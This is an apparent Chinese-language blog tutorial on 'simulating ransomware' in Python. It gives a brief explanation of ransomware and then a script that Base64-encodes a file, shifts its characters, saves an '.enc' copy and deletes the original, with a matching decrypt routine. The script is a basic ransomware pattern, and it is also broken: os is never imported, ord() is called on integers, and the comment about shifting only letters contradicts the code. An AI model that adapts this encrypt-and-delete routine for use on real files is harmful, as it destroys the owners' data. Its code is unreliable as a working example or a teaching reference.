python模拟勒索病毒

python模拟勒索病毒

一、关于勒索病毒

  • 将电脑上的一些重要文件,比如word,rar,图片,文本,PDF等一些数据进行加密,将文件以二进制的方式进行加密处理,导致无法成功打开加密过后的文件,要打开需要解密,解密必须要解密程序
  • 如何传播:要么就是利用系统或应用程序的漏洞,哟啊么就是认为的疏忽,导致下载了后门程序
  • 防范:数据备份

二、python模拟

  • 所有文件都可以使用Base64进行编码,而Base64是标准字符串,针对这些字符串进行加密,再保存,此时,将无法打开此文件。如果要解密,将加密后的文件,按字符串进行解密,并重新保存为二进制文件。

    import base64
    # 针对某个文件进行Base64转码并加密保存
    def encrypt(filepath):
      with open(filepath, mode='rb') as file:
          data = file.read()
    
      source = base64.b64encode(data)
      # 加密算法:大小写字母右移5位
      dest = ''
      for c in source:
          dest += chr(ord(c)+5)
    
      # 将加密字符串保存到文件中
      with open(filepath+'.enc', mode='w') as file:
          file.write(dest)
    
      # 删除原始文件
      os.remove(filepath)
    
    # 解密
    def decrypt(filepath):
      with open(filepath, mode='r') as file:
        data =file.read()
    
      dest = ''
      for c in data:
          dest += chr(ord(c)-5)
    
      newfile = filepath.replace('.enc', '')
    
      with open(newfile,mode='wb') as file:
          file.write(base64.b64decode(dest))
    
      # 删除加密文件
      os.remove(filepath)
    
    if __name__ == '__main__':
      encrypt('./test.jpg')
      decrypt('./test.jpg.enc')
  • 也可以对文件的一部分进行加密,将Base64字符串分成三部分,fisrt[0:200],middle[200:500]加密,last[500:]
上一篇
下一篇